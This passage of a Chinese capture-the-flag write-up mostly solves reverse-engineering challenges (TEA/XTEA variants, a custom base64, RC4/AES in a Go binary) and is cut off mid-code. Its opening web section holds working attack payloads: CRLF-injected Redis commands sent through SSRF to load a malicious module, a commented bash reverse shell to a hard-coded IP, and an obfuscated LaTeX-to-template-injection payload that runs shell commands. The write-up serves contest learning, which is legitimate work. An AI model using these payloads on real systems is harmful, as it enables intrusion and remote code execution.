inject = "$1\r\na\r\n"
inject += "SLAVEOF vps port\r\n\r\n\r\nCONFIG SET dbfilename exp.so\r\n"
# inject += "MODULE LOAD ./exp.so\r\nsystem.exec 'bash -c \"bash -i >& /dev/tcp/8.134.216.221/11111 0>&1\"'\r\n"
# inject += "MODULE LOAD ./exp.so\r\nsystem.exec 'bash -c \"whoami\"'\r\n"
# inject += "system.exec 'touch /tmp/tell'\r\n"
padding += inject
user = "admin"*len(padding)+padding

ssrfUrl = f'http://172.11.0.3:5000/login?password=&username={urllib.parse.quote(user)}'
return redirect(ssrfUrl)

if __name__ == '__main__':
app.run(port=9999, host='0.0.0.0', debug=True)


ez_tex

RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
\documentclass{article}

\newwrite\outfile

\begin{document}

\immedi^^61te\openout\outfile=templates^^2flog.html

\immedi^^61te\write\outfile{^^7b^^7b^^75^^72^^6c^^5f^^66^^6f^^72^^2e^^5f^^5f^^67^^6c^^6f^^62^^61^^6c^^73^^5f^^5f^^5b^^72^^65^^71^^75^^65^^73^^74^^2e^^61^^72^^67^^73^^2e^^61^^5d^^5b^^72^^65^^71^^75^^65^^73^^74^^2e^^61^^72^^67^^73^^2e^^62^^5d^^28^^72^^65^^71^^75^^65^^73^^74^^2e^^61^^72^^67^^73^^2e^^63^^29^^2e^^72^^65^^61^^64^^28^^29^^7d^^7d}

\immedi^^61te\closeout\outfile

The file has been written.

\end{document}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
import sys

url = "http://1.95.33.189:33010"

files = {
'file': open('2.tex', 'r')
}
r = requests.post(url + "/upload", files=files)
print(r.text)
r = requests.get(url + "/compile?filename=2.tex")
print(r.text)
r = requests.get(url + "/log?a=os&b=popen&c=whoami")
text = r.text、
print(r.text)

提权拿 root flag


Reverse

ez_cython

pyinstxtractor 提取并用 pycdc 反编译 ez_cython.pyc,

可知输入在 cy.cp38-win_amd64.pyd 的 sub14514 函数中被验证:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# Source Generated with Decompyle++
# File: ez_cython.pyc (Python 3.8)

import cy

def str_hex(input_str):
return (lambda .0: [ord(char) for char in .0 ])(input_str)


def main():
print(' 欢迎来到猜谜游戏!')
print(" 逐个输入字符进行猜测,直到 'end' 结束。")
guess_chars = []
char = input(" 请输入一个字符(输入 'end' 结束):")
if char == 'end':
pass
elif len(char) == 1:
guess_chars.append(char)
continue
print(' 请输入一个单独的字符。')
continue
guess_hex = str_hex(''.join(guess_chars))
if cy.sub14514(guess_hex):
print(' 真的好厉害!flag 非你莫属 ')

print(' 不好意思,错了哦。')
retry = input(' 是否重新输入?(y/n):')
if retry.lower() != 'y':
pass

print(' 游戏结束 ')

if __name__ == '__main__':
main()

注入 cy 类,获取运算过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import cy

class Symbol:
def __init__(self, name):
self.name = name
def __repr__(self):
return self.name
def __rshift__(self, other):
if isinstance(other, Symbol):
expression = Symbol(f"({self.name} >> {other.name})")
else:
expression = Symbol(f"({self.name} >> {other})")
return expression
def __lshift__(self, other):
if isinstance(other, Symbol):
expression = Symbol(f"({self.name} << {other.name})")
else:
expression = Symbol(f"({self.name} << {other})")
return expression
def __rxor__(self, other):
if isinstance(other, Symbol):
expression = Symbol(f"({self.name} ^ {other.name})")
else:
expression = Symbol(f"({self.name} ^ {other})")
return expression
def __xor__(self, other):
if isinstance(other, Symbol):
expression = Symbol(f"({self.name} ^ {other.name})")
else:
expression = Symbol(f"({self.name} ^ {other})")
return expression
def __add__(self, other):
if isinstance(other, Symbol):
expression = Symbol(f"({self.name} + {other.name})")
else:
expression = Symbol(f"({self.name} + {other})")
return expression
def __and__(self, other):
if isinstance(other, Symbol):
expression = Symbol(f"({self.name} & {other.name})")
else:
expression = Symbol(f"({self.name} & {other})")
return expression

class AList:
def __init__(self, nums):
self.nums = [Symbol(str(num)) for num in nums]
def __getitem__(self, key):
return self.nums[key]
def copy(self):
return AList(self.nums)
def __len__(self):
return len(self.nums)
def __setitem__(self, key, value):
print(f"new_{self.nums[key]} = {value}")
self.nums[key] = Symbol(f"new_{self.nums[key].name}")
def __eq__(self, other):
print(f"{self.nums} == {other}")
return self.nums == other

inp = AList([f"a[{i}]" for i in range(32)])
res = cy.sub14514(inp)

if __name__ == '__main__':
print(res)
1
2
3
4
5
6
7
8
9
10
11
12
new_a[0] = ((a[0] + ((((a[31] >> 3) ^ (a[1] << 3)) + ((a[1] >> 4) ^ (a[31] << 2))) ^ ((a[1] ^ 2654435769) + (a[31] ^ 49)))) & 4294967295)
new_a[1] = ((a[1] + ((((new_a[0] >> 3) ^ (a[2] << 3)) + ((a[2] >> 4) ^ (new_a[0] << 2))) ^ ((a[2] ^ 2654435769) + (new_a[0] ^ 49)))) & 4294967295)
new_a[2] = ((a[2] + ((((new_a[1] >> 3) ^ (a[3] << 3)) + ((a[3] >> 4) ^ (new_a[1] << 2))) ^ ((a[3] ^ 2654435769) + (new_a[1] ^ 121)))) & 4294967295)
new_a[3] = ((a[3] + ((((new_a[2] >> 3) ^ (a[4] << 3)) + ((a[4] >> 4) ^ (new_a[2] << 2))) ^ ((a[4] ^ 2654435769) + (new_a[2] ^ 121)))) & 4294967295)
new_a[4] = ((a[4] + ((((new_a[3] >> 3) ^ (a[5] << 3)) + ((a[5] >> 4) ^ (new_a[3] << 2))) ^ ((a[5] ^ 2654435769) + (new_a[3] ^ 49)))) & 4294967295)
...
new_new_new_new_new_a[28] = ((new_new_new_new_a[28] + ((((new_new_new_new_new_a[27] >> 3) ^ (new_new_new_new_a[29] << 3)) + ((new_new_new_new_a[29] >> 4) ^ (new_new_new_new_new_a[27] << 2))) ^ ((new_new_new_new_a[29] ^ 387276957) + (new_new_new_new_new_a[27] ^ 49)))) & 4294967295)
new_new_new_new_new_a[29] = ((new_new_new_new_a[29] + ((((new_new_new_new_new_a[28] >> 3) ^ (new_new_new_new_a[30] << 3)) + ((new_new_new_new_a[30] >> 4) ^ (new_new_new_new_new_a[28] << 2))) ^ ((new_new_new_new_a[30] ^ 387276957) + (new_new_new_new_new_a[28] ^ 49)))) & 4294967295)
new_new_new_new_new_a[30] = ((new_new_new_new_a[30] + ((((new_new_new_new_new_a[29] >> 3) ^ (new_new_new_new_a[31] << 3)) + ((new_new_new_new_a[31] >> 4) ^ (new_new_new_new_new_a[29] << 2))) ^ ((new_new_new_new_a[31] ^ 387276957) + (new_new_new_new_new_a[29] ^ 121)))) & 4294967295)
new_new_new_new_new_a[31] = ((new_new_new_new_a[31] + ((((new_new_new_new_new_a[30] >> 3) ^ (new_new_new_new_new_a[0] << 3)) + ((new_new_new_new_new_a[0] >> 4) ^ (new_new_new_new_new_a[30] << 2))) ^ ((new_new_new_new_new_a[0] ^ 387276957) + (new_new_new_new_new_a[30] ^ 121)))) & 4294967295)
[new_new_new_new_new_a[0], new_new_new_new_new_a[1], new_new_new_new_new_a[2], new_new_new_new_new_a[3], new_new_new_new_new_a[4], new_new_new_new_new_a[5], new_new_new_new_new_a[6], new_new_new_new_new_a[7], new_new_new_new_new_a[8], new_new_new_new_new_a[9], new_new_new_new_new_a[10], new_new_new_new_new_a[11], new_new_new_new_new_a[12], new_new_new_new_new_a[13], new_new_new_new_new_a[14], new_new_new_new_new_a[15], new_new_new_new_new_a[16], new_new_new_new_new_a[17], new_new_new_new_new_a[18], new_new_new_new_new_a[19], new_new_new_new_new_a[20], new_new_new_new_new_a[21], new_new_new_new_new_a[22], new_new_new_new_new_a[23], new_new_new_new_new_a[24], new_new_new_new_new_a[25], new_new_new_new_new_a[26], new_new_new_new_new_a[27], new_new_new_new_new_a[28], new_new_new_new_new_a[29], new_new_new_new_new_a[30], new_new_new_new_new_a[31]] == [4108944556, 3404732701, 1466956825, 788072761, 1482427973, 782926647, 1635740553, 4115935911, 2820454423, 3206473923, 1700989382, 2460803532, 2399057278, 968884411, 1298467094, 1786305447, 3953508515, 2466099443, 4105559714, 779131097, 288224004, 3322844775, 4122289132, 2089726849, 656452727, 3096682206, 2217255962, 680183044, 3394288893, 697481839, 1109578150, 2272036063]
False

可知是一个类似 TEA 的加密过程,直接逆运算:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var1 = [2654435769,1013904242,3668340011,2027808484,387276957]
var2 = [[49, 49, 121, 121, 49, 49, 121, 121, 49, 49, 121, 121, 49, 49, 121, 121, 49, 49, 121, 121, 49, 49, 121, 121, 49, 49, 121, 121, 49, 49, 121, 121],[67, 67, 83, 83, 67, 67, 83, 83, 67, 67, 83, 83, 67, 67, 83, 83, 67, 67, 83, 83, 67, 67, 83, 83, 67, 67, 83, 83, 67, 67, 83, 83],[121, 121, 49, 49, 121, 121, 49, 49, 121, 121, 49, 49, 121, 121, 49, 49, 121, 121, 49, 49, 121, 121, 49, 49, 121, 121, 49, 49, 121, 121, 49, 49],[83, 83, 67, 67, 83, 83, 67, 67, 83, 83, 67, 67, 83, 83, 67, 67, 83, 83, 67, 67, 83, 83, 67, 67, 83, 83, 67, 67, 83, 83, 67, 67],[49, 49, 121, 121, 49, 49, 121, 121, 49, 49, 121, 121, 49, 49, 121, 121, 49, 49, 121, 121, 49, 49, 121, 121, 49, 49, 121, 121, 49, 49, 121, 121]]
ans = [4108944556, 3404732701, 1466956825, 788072761, 1482427973, 782926647, 1635740553, 4115935911, 2820454423, 3206473923, 1700989382, 2460803532, 2399057278, 968884411, 1298467094, 1786305447, 3953508515, 2466099443, 4105559714, 779131097, 288224004, 3322844775, 4122289132, 2089726849, 656452727, 3096682206, 2217255962, 680183044, 3394288893, 697481839, 1109578150, 2272036063]
for j in list(range(5))[::-1]:
for i in list(range(32))[::-1]:
id = [i, i-1, i+1]
if i-1 < 0:
id[1] = 31
if i+1 > 31:
id[2] = 0
tt = (((ans[id[1]] >> 3) ^ (ans[id[2]] << 3)) + ((ans[id[2]] >> 4) ^ (ans[id[1]] << 2))) ^ ((ans[id[2]] ^ var1[j]) + (ans[id[1]] ^ var2[j][i]))
ans[id[0]] -= tt & 0xFFFFFFFF
if ans[id[0]] < 0:
ans[id[0]] += 0x100000000

print("".join([chr(x) for x in ans]))

SGAME

搜字符串有 lua5.4.7 字样,说明嵌入了个 lua,自己编译一个然后 diff 一下,基本都能还原,就可以正式开逆了

逐 cout 动调到出现 game 字符串

注意到 SYC 相关字符串,并会在特定条件下被变换成 SYC{9876543210000}

均尝试进后续解密

发现在 SYC{123456789}(即没有调试)下可以正确解密 luac 并传递给 lua 引擎执行。

用脚趾头想都知道肯定魔改了,一般就是改文件结构、字节码啥的。文件结构改了头前 4 字节,字节码改了两个地方,一个是 opcode 顺序,一个是把 opcode 和第一个参数的位置给颠倒了。

文件结构直接把前 4 字节改回去就完事了。opcode 顺序看 luaV_excute 函数,把操作弄成函数,然后 diff 顺序就出来了,用 unluac 自带的 --opmap 选项替换下就行。最后一个魔改点直接 clone unluac 的源码,然后在 code 加载后解析前把 opcode 和第一个参数的位置给换回去就行。

最后成功反编译(改了下变量名啥的):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
local strPadding = function(str)
local padding = 8 - #str % 8
return str .. string.rep("\000", padding)
end

local byteToInteger = function(byte1, byte2, byte3, byte4)
return (byte1 or 0) << 24 | (byte2 or 0) << 16 | (byte3 or 0) << 8 | (byte4 or 0)
end

local str2arr = function(str)
local result = {}
for i = 1, #str, 8 do
table.insert(result, byteToInteger(str:byte(i, i + 3)))
table.insert(result, byteToInteger(str:byte(i + 4, i + 7)))
end
return result
end

local uint2str = function(uint)
return string.char(uint >> 24 & 255, uint >> 16 & 255, uint >> 8 & 255, uint & 255)
end

local arr2str = function(rrrrrrrrrrray)
local result = {}
for _, uint in ipairs(rrrrrrrrrrray) do
table.insert(result, uint2str(uint))
end
return table.concat(result)
end

function cdefa(v, key)
local v0, v1 = v[1], v[2]
local sum = 0
local delta = 2576980377
for _ = 1, 42 do
sum = sum + delta & 4294967295
v0 = v0 + ((v1 << 4 ~ v1 >> 5) + v1 ~ sum + key[(sum & 3) + 1]) & 4294967295
v1 = v1 + ((v0 << 4 ~ v0 >> 5) + v0 ~ sum + key[(sum >> 11 & 3) + 1]) & 4294967295
end
v0 = v0 ~ 12
v1 = v1 ~ 18
return {v0, v1}
end

function bcdef(str, key)
local padded_str = strPadding(str)
local uint32_rrrrrrrrrrray = str2arr(padded_str)
local encccderrrrrr = {}
for i = 1, #uint32_rrrrrrrrrrray, 2 do
local block = {
uint32_rrrrrrrrrrray[i],
uint32_rrrrrrrrrrray[i + 1]
}
local enc_block = cdefa(block, key)
table.insert(encccderrrrrr, enc_block[1])
table.insert(encccderrrrrr, enc_block[2])
end
return arr2str(encccderrrrrr)
end

local parcmo = function(rrrrrrrrrrray1, rrrrrrrrrrray2)
if #rrrrrrrrrrray1 ~= #rrrrrrrrrrray2 then
return false
end
for i = 1, #rrrrrrrrrrray1 do
if rrrrrrrrrrray1[i] ~= rrrrrrrrrrray2[i] then
return false
end
end
return true
end

local inputFlag = input_flag
if 44 ~= string.len(inputFlag) then
print("please check your flag")
end
if 44 == string.len(inputFlag) then
local enc = {
3633266294,
3301799896,
2704688257,
2306037448,
1267864397,
1132773035,
114101720,
3838684141,
4189720444,
4028672856,
277437884,
787003469
}
local key = {
19088743,
2309737967,
4275878552,
1985229328
}
local encccderrrrrr = bcdef(inputFlag, key)
local rrrrrrrrrrrr = str2arr(encccderrrrrr)
if parcmo(rrrrrrrrrrrr, enc) then
print("yes yes you input the right flag")
end
if not parcmo(rrrrrrrrrrrr, enc) then
print("o this is wrong")
end
end

简单魔改 xtea:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>  
#include <stdint.h>

void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0=v[0]^12, v1=v[1]^18, delta=2576980377, sum=delta*num_rounds;
for (i=0; i < num_rounds; i++) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
sum -= delta;
}
v[0]=v0; v[1]=v1;
}

int main() {
uint32_t v[] = {3633266294, 3301799896, 2704688257, 2306037448, 1267864397, 1132773035, 114101720, 3838684141, 4189720444, 4028672856, 277437884, 787003469, 0};
uint32_t key[4] = {19088743, 2309737967, 4275878552, 1985229328};
unsigned int num_rounds = 42;
for (size_t i = 0; i < 6; i++)
{
decipher(num_rounds, v + i * 2, key);
}
// 端序改变
for (size_t i = 0; i < 12; i++)
{
v[i] = (v[i] >> 24) | ((v[i] >> 8) & 0xff00) | ((v[i] << 8) & 0xff0000) | (v[i] << 24);
}
// printf("%#x, %#x", v[0], v[1]);
printf("%s", (char *)v);
return 0;
}

BBox

输入被 strange.encode 编码后,在 libbbandroid.so 的 checkFlag 中被加密并验证,

首先分析 checkFlag,其中用到了伪随机,种子固定:

而 strange.encode 被混淆了,很难逆向编码过程:

用 r0tracer 得到 ALPHABET 和加密后的结果,推测为换表进行 base64,测试可知结果异或了原文长度:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
char[]  ALPHABET => n,o,p,q,r,s,t,D,E,F,G,H,I,J,K,L,h,i,j,k,l,U,V,Q,R,S,T,/,W,X,Y,Z,a,b,A,B,C,c,d,e,f,g,m,u,v,6,7,8,9,+,w,x,y,z,0,1,2,3,4,5,M,N,O,P => ["n","o","p","q","r","s","t","D","E","F","G","H","I","J","K","L","h","i","j","k","l","U","V","Q","R","S","T","/","W","X","Y","Z","a","b","A","B","C","c","d","e","f","g","m","u","v","6","7","8","9","+","w","x","y","z","0","1","2","3","4","5","M","N","O","P"]
int[] LOOKUP => -1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,49,-1,-1,-1,27,54,55,56,57,58,59,45,46,47,48,-1,-1,-1,0,-1,-1,-1,34,35,36,7,8,9,10,11,12,13,14,15,60,61,62,63,23,24,25,26,21,22,28,29,30,31,-1,-1,-1,-1,-1,-1,32,33,37,38,39,40,41,16,17,18,19,20,42,0,1,2,3,4,5,6,43,44,50,51,52,53,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1 => [-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,49,-1,-1,-1,27,54,55,56,57,58,59,45,46,47,48,-1,-1,-1,0,-1,-1,-1,34,35,36,7,8,9,10,11,12,13,14,15,60,61,62,63,23,24,25,26,21,22,28,29,30,31,-1,-1,-1,-1,-1,-1,32,33,37,38,39,40,41,16,17,18,19,20,42,0,1,2,3,4,5,6,43,44,50,51,52,53,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1]
short[] short => 2946,2947,2972,2973,2974,2975,2968,2984,2985,2986,2987,2980,2981,2982,2983,2976,2948,2949,2950,2951,2944,3001,3002,3005,3006,3007,3000,3011,3003,2996,2997,2998,2957,2958,2989,2990,2991,2959,2952,2953,2954,2955,2945,2969,2970,3034,3035,3028,3029,3015,2971,2964,2965,2966,3036,3037,3038,3039,3032,3033,2977,2978,2979,3004 => [2946,2947,2972,2973,2974,2975,2968,2984,2985,2986,2987,2980,2981,2982,2983,2976,2948,2949,2950,2951,2944,3001,3002,3005,3006,3007,3000,3011,3003,2996,2997,2998,2957,2958,2989,2990,2991,2959,2952,2953,2954,2955,2945,2969,2970,3034,3035,3028,3029,3015,2971,2964,2965,2966,3036,3037,3038,3039,3032,3033,2977,2978,2979,3004]

*** entered com.example.bbandroid.strange.encode
arg[0]: 49,50,51,52,53,54,55,56,49,50,51,52,53,54,55,56,49,50,51,52,53,54,55,56 => [49,50,51,52,53,54,55,56,49,50,51,52,53,54,55,56,49,50,51,52,53,54,55,56]
java.lang.Throwable
at com.example.bbandroid.strange.encode(Native Method)
at com.example.bbandroid.MainActivity$1.onClick(MainActivity.java:41)
at android.view.View.performClick(View.java:7185)
at com.google.android.material.button.MaterialButton.performClick(MaterialButton.java:1218)
at android.view.View.performClickInternal(View.java:7162)
at android.view.View.access$3500(View.java:819)
at android.view.View$PerformClick.run(View.java:27678)
at android.os.Handler.handleCallback(Handler.java:883)
at android.os.Handler.dispatchMessage(Handler.java:100)
at android.os.Looper.loop(Looper.java:224)
at android.app.ActivityThread.main(ActivityThread.java:7590)
at java.lang.reflect.Method.invoke(Native Method)
at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:539)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:950)

retval: Pr\aShu)Sax2P[P`SrK(RhknPaqcS[N+ => "Pr\\aShu)Sax2P[P`SrK(RhknPaqcS[N+"
*** exiting com.example.bbandroid.strange.encode

直接逆运算得到 flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import base64

rec = []
ans = [0x33, 0xC0, 0xC8, 0xA3, 0xF3, 0xBF, 0x1D, 0x1A, 0x3B, 0x41, 0xB7, 0xC6, 0xF1, 0x5E, 0x86, 0x52, 0x52, 0xCF, 0x6B, 0x1E, 0xC5, 0xF9, 0xCB, 0xBF, 0xED, 0x7B, 0x62, 0xF1, 0xF7, 0x43, 0x48, 0x54, 0xFB, 0x85, 0x4C, 0xD9, 0x35, 0x30, 0xF2, 0x6E]
vars = [0xB9, 0xAD, 0x7F, 0x03, 0x9F, 0x0F, 0xF1, 0x67, 0x79, 0xB7, 0x39, 0xDD, 0x93, 0x88, 0xAE, 0xEA, 0xB0, 0x3D, 0x7A, 0x07, 0xF2, 0x89, 0xE5, 0x34, 0x23, 0x55, 0xD8, 0x4E, 0xB7, 0xDA, 0xEC, 0x71, 0x88, 0x6C, 0x74, 0x27, 0x7B, 0x65, 0x8E, 0xF5]
for i in range(10):
term = ans[4*i+3] << 24 | ans[4*i+2] << 16 | ans[4*i+1] << 8 | ans[4*i]
for _ in range(32):
if term % 2 == 0:
term = term // 2
else:
term = ((term ^ 0x85B6874F) + 0x100000000) // 2
term = [int(hex(term)[2:].zfill(8)[k:(k+2)], 16) for k in range(0, 8, 2)[::-1]]
rec += [term[0] ^ vars[4*i], term[1] ^ vars[4*i+1], term[2] ^ vars[4*i+2], term[3] ^ vars[4*i+3]]

data = "".join([chr(x ^ (len(rec)//4*3)) for x in rec])
dict = bytes.maketrans(b"nopqrstDEFGHIJKLhijklUVQRST/WXYZabABCcdefgmuv6789+wxyz012345MNOP", b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/")
print(base64.b64decode(data.translate(dict)).decode())

ezgo

搜 flag 字样可以在 go 的一个初始化函数找到 flag 的解析方式,是命令行参数-flag input,但正常输入依旧 panic。。。在这个初始函数里还发现有 6 个函数指针赋值,后面发现是开了 6 个 goroutine,功能大致如下:

  1. 检查 /proc/self/statusTracerPid,如果被调试就 panic,没有就调用一次 rc4 解密密文,并通知加密 goroutine。

  2. 调用ptrace,如果不被调试就调用一次 rc4 解密密文,并通知加密 goroutine。

  3. 检查是否有进程名 linux_serverlinux_server64,没有就调用一次 rc4 解密密文,并通知加密 goroutine。

  4. 查看 /proc/net/tcp,如果没有端口 A8D5 的使用情况(IDA 默认调试端口) 就调用一次 rc4 解密密文,并通知加密 goroutine。

  5. 调用getppid,检查/proc/[ppid]/comm,如果有问题就 panic。应该是正常输入依旧 panic 的原因,出题人这条件写烂了。。

  6. 程序运行时间超过 5ns(?)就把密文异或 0x66,这个正常情况下会触发。

主函数也起了个 goroutine,并接受上面几个 goroutine 的信号,得到信号后会调用函数 0x4B0DA0 对对应的输入块做 AES-ECB 加密。注意每次调用 rc4 和 aes 都会对 key 做变化。

理解流程后解 flag 就简单了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from Crypto.Cipher import AES, ARC4

rc4key = list(b'hey_syclover2024')
aeskey = list(b'hey_syclover2024')
enc = [0xF0, 0x5B, 0x29, 0x5F, 0xC3, 0x5C, 0x2A, 0xBC, 0x8A, 0x42, 0x8F, 0xE7, 0x63, 0x5C, 0xFD, 0xAC, 0x74, 0x7E, 0x6D, 0xD3, 0x67, 0x13, 0x84, 0x1B, 0xDA, 0x60, 0x7C, 0x36, 0x96, 0xA8, 0x80, 0xDA, 0x51, 0xA7, 0xEC, 0xE5, 0x62, 0xFE, 0xC9, 0xB5, 0xE1, 0xF9, 0x07, 0x12, 0xB3, 0x53, 0xB3, 0xC0, 0x31, 0x14, 0x86, 0xD0, 0xC3, 0xD0, 0x92, 0xDE, 0x5A, 0x0D, 0xD1, 0xFF, 0x5B, 0x00, 0x1D, 0x2E]

def change_rc4key():
global rc4key
v11 = len(rc4key) - 1
i = 0
while i < v11:
v6 = rc4key[i]
v7 = rc4key[v11]
rc4key[i] = v7
rc4key[v11] = v6
i += 1
v11 -= 1

v16 = len(rc4key) - 5
i = 0
while i < v16:
v6 = rc4key[i+4]
v7 = rc4key[v16+4]
rc4key[i+4] = v7
rc4key[v16+4] = v6
i += 1
v16 -= 1

i = 0
k = 3
while i < k:
v6 = rc4key[i]
v7 = rc4key[k]
rc4key[i] = v7
rc4key[k] = v6
i += 1
k -= 1

def change_aeskey():
global aeskey
v11 = len(aeskey) - 1
i = 0
while i < v11:
v6 = aeskey[i]
v7 = aeskey[v11]
aeskey[i] = v7
aeskey[v11] = v6
i += 1
v11 -= 1

i = 0
k = 3
while i < k:
v6 = aeskey[i]
v7 = aeskey[k]
aeskey[i] = v7
aeskey[k] = v6
i += 1
k -= 1

v16 = len(aeskey) - 5
i = 0
while i < v16:
v6 = aeskey[i+4]
v7 = aeskey[v16+4]
aeskey[i+4] = v7
aeskey[v16+4] = v6
i += 1
v16 -= 1

enc = bytes(enc)
for _ in range(4):
change_rc4key()
# print(bytes(rc4key))
rc4 = ARC4.new(bytes(rc4key))
enc = rc4.decrypt(enc)

aeskeys = []
for i in range(4):
# print(bytes(aeskey))
aes = AES.new(bytes(aeskey), AES.MODE_ECB)
c = aes.decrypt(enc[16*i:16*(i+1)])
print(bytes([x^0x66 for x in c]))
aeskeys.append(bytes(aeskey))
change_aeskey()

uds

Tea key:

[0x0123,0x4567,0x89AB,0xCDEF]

思路:TEA 加密 [0x44332211, 0x88776655] 之后就是 rc4 的 key,找到密文就可以解密了(注意大小端)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#define _GNU_SOURCE
#include<stdio.h>
#include <stdint.h>

void tea_enc(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1]; // v0、v1 分别是明文的左、右半部分
uint32_t sum = 0; // sum 用作加密过程中的一个累加变量
uint32_t delta = 0x9e3779b9; // 作为 sum 每次累加的变化值,题目中往往会修改此值
for (int i = 0; i < 32; i++) { // tea 加密进行 32 轮
// 以下 3 行是核心加密过程,题目中往往会对部分细节做出修改(但由于异或的对称性质,根本不需要记,写解密函数时照抄就行了)
sum += delta;
v0 += ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);
v1 += ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
}
// v0 和 v1 只是加密的临时变量,因此加密后的内容要还给 v 数组
v[0] = v0;
v[1] = v1;
}

void tea_dec(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1]; // v0、v1 分别是密文的左、右半部分
uint32_t delta = 0x9e3779b9; // 作为 sum 每次累加的变化值,题目中往往会修改此值
uint32_t sum = 0xC6EF3720; // 此处需要分析 32 轮加密结束后 sum 的值与 delta 的变化, 以此处加密为例子,32 轮每次 sum+=delta,因此最后 sum=32*delta
for (int i = 0; i < 32; i++) { // tea 加密进行 32 轮
// 根据加密时的顺序颠倒下面 3 行的顺序,将加法改为减法(异或部分都是整体,不用管),就是逆向解密过程
v1 -= ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
v0 -= ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);
sum -= delta;
}
// 因此解密后的内容要还给 v 数组
v[0] = v0;
v[1] = v1;
}

// 转换小端序转大端序
int l2b(int x) {
return ((x & 0xff) << 24) | ((x & 0xff00) << 8) | ((x & 0xff0000) >> 8) | ((x & 0xff000000) >> 24);
}

// 大端序转小端序
int b2l(int x) {
return ((x & 0xff) << 24) | ((x & 0xff00) << 8) | ((x & 0xff0000) >> 8) | ((x & 0xff000000) >> 24);
}

int main() {
// # Tea key:
// # [0x0123,0x4567,0x89AB,0xCDEF]
// # 思路:TEA 加密[0x44332211, 0x88776655] 之后就是 key
// # TEA 加密 [0x44332211, 0x88776655] 之后就是 key
uint32_t key[4] = {0x0123,0x4567,0x89AB,0xCDEF};
uint32_t v[2] = {l2b(0x44332211), l2b(0x88776655)};
